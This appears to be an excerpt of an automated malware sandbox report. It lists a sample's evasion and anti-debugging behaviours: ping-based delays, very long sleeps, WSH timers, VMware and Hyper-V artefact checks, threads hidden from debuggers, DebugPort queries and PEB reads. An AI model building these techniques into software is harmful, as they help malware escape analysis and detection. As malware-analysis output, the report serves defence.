Uses ping.exe to sleep
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping google.com -n 1
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping google.com -n 1 Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395D1C0 rdtsc 22_2_0395D1C0
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4992 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4925 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8086 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1703 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Window / User API: threadDelayed 966 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\SysWOW64\xcopy.exe API coverage: 3.0 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\wscript.exe TID: 4256 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3892 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2788 Thread sleep count: 8086 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3620 Thread sleep count: 1703 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1492 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 6648 Thread sleep count: 966 > 30 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\xcopy.exe Last function: Thread delayed
Source: C:\Windows\System32\cmd.exe File Volume queried: C:\Windows\System32 FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F4B7A0 FindFirstFileW,FindNextFileW,FindClose, 22_2_02F4B7A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: wab.exe, 0000001B.00000002.3468143116.0000000000D68000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000002.2228998163.0000022CC0BC0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000003.2183688264.0000022CC0EBD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2225913246.0000022CC0EBD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2229406049.0000022CC0EBD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2183592062.0000022CC0EBD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0
Source: wscript.exe, 00000000.00000003.2183808324.0000022CC0C12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2226248276.0000022CC0C12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2182822284.0000022CC0C12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2223236655.0000022CC0C12000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2229181627.0000022CC0C12000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000008.00000002.3550837263.000001EF41514000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Thread information set: HideFromDebugger Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395D1C0 rdtsc 22_2_0395D1C0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_0300D508 LdrInitializeThunk,LdrInitializeThunk, 11_2_0300D508
Contains functionality to read the PEB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_0897F498 mov eax, dword ptr fs:[00000030h] 17_3_0897F498
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_089788FA mov eax, dword ptr fs:[00000030h] 17_3_089788FA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08978A5A mov eax, dword ptr fs:[00000030h] 17_3_08978A5A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08984462 mov eax, dword ptr fs:[00000030h] 17_3_08984462
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08984108 mov eax, dword ptr fs:[00000030h] 17_3_08984108
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08978700 mov eax, dword ptr fs:[00000030h] 17_3_08978700
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08984302 mov eax, dword ptr fs:[00000030h] 17_3_08984302
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08984538 mov eax, dword ptr fs:[00000030h] 17_3_08984538
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08978B30 mov eax, dword ptr fs:[00000030h] 17_3_08978B30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_0897FD38 mov eax, dword ptr fs:[00000030h] 17_3_0897FD38
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_0897FD38 mov eax, dword ptr fs:[00000030h] 17_3_0897FD38
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_0897FD38 mov eax, dword ptr fs:[00000030h] 17_3_0897FD38
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_0897FD38 mov eax, dword ptr fs:[00000030h] 17_3_0897FD38
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08984578 mov eax, dword ptr fs:[00000030h] 17_3_08984578
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08978B70 mov eax, dword ptr fs:[00000030h] 17_3_08978B70
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DE388 mov eax, dword ptr fs:[00000030h] 22_2_038DE388
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DE388 mov eax, dword ptr fs:[00000030h] 22_2_038DE388
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DE388 mov eax, dword ptr fs:[00000030h] 22_2_038DE388
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B539D mov eax, dword ptr fs:[00000030h] 22_2_039B539D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0393739A mov eax, dword ptr fs:[00000030h] 22_2_0393739A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0393739A mov eax, dword ptr fs:[00000030h] 22_2_0393739A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D8397 mov eax, dword ptr fs:[00000030h] 22_2_038D8397
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D8397 mov eax, dword ptr fs:[00000030h] 22_2_038D8397
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D8397 mov eax, dword ptr fs:[00000030h] 22_2_038D8397
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390438F mov eax, dword ptr fs:[00000030h] 22_2_0390438F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390438F mov eax, dword ptr fs:[00000030h] 22_2_0390438F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039133A0 mov eax, dword ptr fs:[00000030h] 22_2_039133A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039133A0 mov eax, dword ptr fs:[00000030h] 22_2_039133A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039033A5 mov eax, dword ptr fs:[00000030h] 22_2_039033A5
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399B3D0 mov ecx, dword ptr fs:[00000030h] 22_2_0399B3D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA3C0 mov eax, dword ptr fs:[00000030h] 22_2_038EA3C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA3C0 mov eax, dword ptr fs:[00000030h] 22_2_038EA3C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA3C0 mov eax, dword ptr fs:[00000030h] 22_2_038EA3C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA3C0 mov eax, dword ptr fs:[00000030h] 22_2_038EA3C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA3C0 mov eax, dword ptr fs:[00000030h] 22_2_038EA3C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA3C0 mov eax, dword ptr fs:[00000030h] 22_2_038EA3C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E83C0 mov eax, dword ptr fs:[00000030h] 22_2_038E83C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E83C0 mov eax, dword ptr fs:[00000030h] 22_2_038E83C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E83C0 mov eax, dword ptr fs:[00000030h] 22_2_038E83C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E83C0 mov eax, dword ptr fs:[00000030h] 22_2_038E83C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399C3CD mov eax, dword ptr fs:[00000030h] 22_2_0399C3CD
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039663C0 mov eax, dword ptr fs:[00000030h] 22_2_039663C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F03E9 mov eax, dword ptr fs:[00000030h] 22_2_038F03E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F03E9 mov eax, dword ptr fs:[00000030h] 22_2_038F03E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F03E9 mov eax, dword ptr fs:[00000030h] 22_2_038F03E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F03E9 mov eax, dword ptr fs:[00000030h] 22_2_038F03E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F03E9 mov eax, dword ptr fs:[00000030h] 22_2_038F03E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F03E9 mov eax, dword ptr fs:[00000030h] 22_2_038F03E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F03E9 mov eax, dword ptr fs:[00000030h] 22_2_038F03E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F03E9 mov eax, dword ptr fs:[00000030h] 22_2_038F03E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B53FC mov eax, dword ptr fs:[00000030h] 22_2_039B53FC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039163FF mov eax, dword ptr fs:[00000030h] 22_2_039163FF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FE3F0 mov eax, dword ptr fs:[00000030h] 22_2_038FE3F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FE3F0 mov eax, dword ptr fs:[00000030h] 22_2_038FE3F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FE3F0 mov eax, dword ptr fs:[00000030h] 22_2_038FE3F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399F3E6 mov eax, dword ptr fs:[00000030h] 22_2_0399F3E6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03900310 mov ecx, dword ptr fs:[00000030h] 22_2_03900310
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391A30B mov eax, dword ptr fs:[00000030h] 22_2_0391A30B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391A30B mov eax, dword ptr fs:[00000030h] 22_2_0391A30B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391A30B mov eax, dword ptr fs:[00000030h] 22_2_0391A30B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DC310 mov ecx, dword ptr fs:[00000030h] 22_2_038DC310
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396930B mov eax, dword ptr fs:[00000030h] 22_2_0396930B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396930B mov eax, dword ptr fs:[00000030h] 22_2_0396930B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396930B mov eax, dword ptr fs:[00000030h] 22_2_0396930B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A132D mov eax, dword ptr fs:[00000030h] 22_2_039A132D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A132D mov eax, dword ptr fs:[00000030h] 22_2_039A132D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390F32A mov eax, dword ptr fs:[00000030h] 22_2_0390F32A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D7330 mov eax, dword ptr fs:[00000030h] 22_2_038D7330
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DD34C mov eax, dword ptr fs:[00000030h] 22_2_038DD34C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DD34C mov eax, dword ptr fs:[00000030h] 22_2_038DD34C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AA352 mov eax, dword ptr fs:[00000030h] 22_2_039AA352
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396035C mov eax, dword ptr fs:[00000030h] 22_2_0396035C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396035C mov eax, dword ptr fs:[00000030h] 22_2_0396035C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396035C mov eax, dword ptr fs:[00000030h] 22_2_0396035C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396035C mov ecx, dword ptr fs:[00000030h] 22_2_0396035C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396035C mov eax, dword ptr fs:[00000030h] 22_2_0396035C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0396035C mov eax, dword ptr fs:[00000030h] 22_2_0396035C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B5341 mov eax, dword ptr fs:[00000030h] 22_2_039B5341
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9353 mov eax, dword ptr fs:[00000030h] 22_2_038D9353
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D9353 mov eax, dword ptr fs:[00000030h] 22_2_038D9353
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03962349 mov eax, dword ptr fs:[00000030h] 22_2_03962349
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398437C mov eax, dword ptr fs:[00000030h] 22_2_0398437C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399F367 mov eax, dword ptr fs:[00000030h] 22_2_0399F367
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E7370 mov eax, dword ptr fs:[00000030h] 22_2_038E7370
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E7370 mov eax, dword ptr fs:[00000030h] 22_2_038E7370
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E7370 mov eax, dword ptr fs:[00000030h] 22_2_038E7370
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391329E mov eax, dword ptr fs:[00000030h] 22_2_0391329E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391329E mov eax, dword ptr fs:[00000030h] 22_2_0391329E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03960283 mov eax, dword ptr fs:[00000030h] 22_2_03960283
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03960283 mov eax, dword ptr fs:[00000030h] 22_2_03960283
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03960283 mov eax, dword ptr fs:[00000030h] 22_2_03960283
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391E284 mov eax, dword ptr fs:[00000030h] 22_2_0391E284
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391E284 mov eax, dword ptr fs:[00000030h] 22_2_0391E284
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B5283 mov eax, dword ptr fs:[00000030h] 22_2_039B5283
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039692BC mov eax, dword ptr fs:[00000030h] 22_2_039692BC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039692BC mov eax, dword ptr fs:[00000030h] 22_2_039692BC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039692BC mov ecx, dword ptr fs:[00000030h] 22_2_039692BC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039692BC mov ecx, dword ptr fs:[00000030h] 22_2_039692BC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F52A0 mov eax, dword ptr fs:[00000030h] 22_2_038F52A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F52A0 mov eax, dword ptr fs:[00000030h] 22_2_038F52A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F52A0 mov eax, dword ptr fs:[00000030h] 22_2_038F52A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F52A0 mov eax, dword ptr fs:[00000030h] 22_2_038F52A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039762A0 mov eax, dword ptr fs:[00000030h] 22_2_039762A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039762A0 mov ecx, dword ptr fs:[00000030h] 22_2_039762A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039762A0 mov eax, dword ptr fs:[00000030h] 22_2_039762A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039762A0 mov eax, dword ptr fs:[00000030h] 22_2_039762A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039762A0 mov eax, dword ptr fs:[00000030h] 22_2_039762A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039762A0 mov eax, dword ptr fs:[00000030h] 22_2_039762A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039772A0 mov eax, dword ptr fs:[00000030h] 22_2_039772A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039772A0 mov eax, dword ptr fs:[00000030h] 22_2_039772A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A92A6 mov eax, dword ptr fs:[00000030h] 22_2_039A92A6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A92A6 mov eax, dword ptr fs:[00000030h] 22_2_039A92A6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A92A6 mov eax, dword ptr fs:[00000030h] 22_2_039A92A6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A92A6 mov eax, dword ptr fs:[00000030h] 22_2_039A92A6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390F2D0 mov eax, dword ptr fs:[00000030h] 22_2_0390F2D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390F2D0 mov eax, dword ptr fs:[00000030h] 22_2_0390F2D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E92C5 mov eax, dword ptr fs:[00000030h] 22_2_038E92C5
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E92C5 mov eax, dword ptr fs:[00000030h] 22_2_038E92C5
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA2C3 mov eax, dword ptr fs:[00000030h] 22_2_038EA2C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA2C3 mov eax, dword ptr fs:[00000030h] 22_2_038EA2C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA2C3 mov eax, dword ptr fs:[00000030h] 22_2_038EA2C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA2C3 mov eax, dword ptr fs:[00000030h] 22_2_038EA2C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EA2C3 mov eax, dword ptr fs:[00000030h] 22_2_038EA2C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B2C0 mov eax, dword ptr fs:[00000030h] 22_2_0390B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B2C0 mov eax, dword ptr fs:[00000030h] 22_2_0390B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B2C0 mov eax, dword ptr fs:[00000030h] 22_2_0390B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B2C0 mov eax, dword ptr fs:[00000030h] 22_2_0390B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B2C0 mov eax, dword ptr fs:[00000030h] 22_2_0390B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B2C0 mov eax, dword ptr fs:[00000030h] 22_2_0390B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B2C0 mov eax, dword ptr fs:[00000030h] 22_2_0390B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB2D3 mov eax, dword ptr fs:[00000030h] 22_2_038DB2D3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB2D3 mov eax, dword ptr fs:[00000030h] 22_2_038DB2D3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DB2D3 mov eax, dword ptr fs:[00000030h] 22_2_038DB2D3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399F2F8 mov eax, dword ptr fs:[00000030h] 22_2_0399F2F8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F02E1 mov eax, dword ptr fs:[00000030h] 22_2_038F02E1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F02E1 mov eax, dword ptr fs:[00000030h] 22_2_038F02E1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F02E1 mov eax, dword ptr fs:[00000030h] 22_2_038F02E1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D92FF mov eax, dword ptr fs:[00000030h] 22_2_038D92FF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED mov eax, dword ptr fs:[00000030h] 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B52E2 mov eax, dword ptr fs:[00000030h] 22_2_039B52E2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03917208 mov eax, dword ptr fs:[00000030h] 22_2_03917208
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03917208 mov eax, dword ptr fs:[00000030h] 22_2_03917208
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D823B mov eax, dword ptr fs:[00000030h] 22_2_038D823B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B5227 mov eax, dword ptr fs:[00000030h] 22_2_039B5227
